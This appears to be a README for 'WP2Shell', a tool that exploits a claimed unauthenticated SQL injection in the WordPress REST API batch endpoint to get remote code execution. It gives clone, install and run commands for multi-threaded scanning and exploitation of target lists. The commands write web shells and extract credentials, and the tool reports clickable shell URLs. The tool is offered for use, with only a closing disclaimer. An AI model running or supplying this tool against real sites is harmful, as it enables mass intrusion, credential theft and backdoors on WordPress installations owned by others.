
WP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress REST API `/wp-json/batch/v1` endpoint, allowing unauthenticated attackers to execute arbitrary SQL queries and achieve Remote Code Execution (RCE) on vulnerable WordPress installations.
Full discovery and exploitation tool for WordPress REST API Batch endpoint vulnerability.
This tool exploits a critical SQL injection vulnerability in the WordPress REST API /wp-json/batch/v1 endpoint, allowing unauthenticated attackers to execute arbitrary SQL queries and achieve Remote Code Execution (RCE) on vulnerable WordPress installations.
Vulnerability: CVE-2026-63030 / CVE-2026-60137
Vector: WordPress REST API Batch endpoint (/wp-json/batch/v1) SQL Injection
Impact: Unauthenticated RCE
Affected Versions: WordPress 6.4.x and earlier (specific versions TBD)
SLEEP() payloadsORDER BY probingINTO OUTFILE (when allowed)# Clone the repository
git clone https://github.com/NULL200OK/wp2shell.git
cd wp2shell
# Install dependencies
pip install requests beautifulsoup4
# Create targets file
echo "https://target.com" > targets.txt
# Run discovery
python wp2shell.py targets.txt --scan --verbose
# Full exploitation
python wp2shell.py targets.txt --exploit --verbose
# Scan single target with verbose output
python wp2shell.py targets.txt --exploit --verbose
# Custom sleep time for slow servers
python wp2shell.py targets.txt --exploit --sleep 20 --verbose
# Multi-threaded scanning (20 threads)
python wp2shell.py targets.txt --exploit --threads 20 --verbose
# Skip shell writes (extract credentials only)
python wp2shell.py targets.txt --exploit --no-shell --verbose
# Force specific HTTP method
python wp2shell.py targets.txt --exploit --method POST --verbose
1- JSON report: Structured data with vulnerability status and extracted credentials
2- HTML report: Beautiful, color-coded visualization with clickable shell URLs
This tool is for educational and authorized testing purposes only. Use only on systems you own or have explicit permission to test. The author assumes no responsibility for misuse.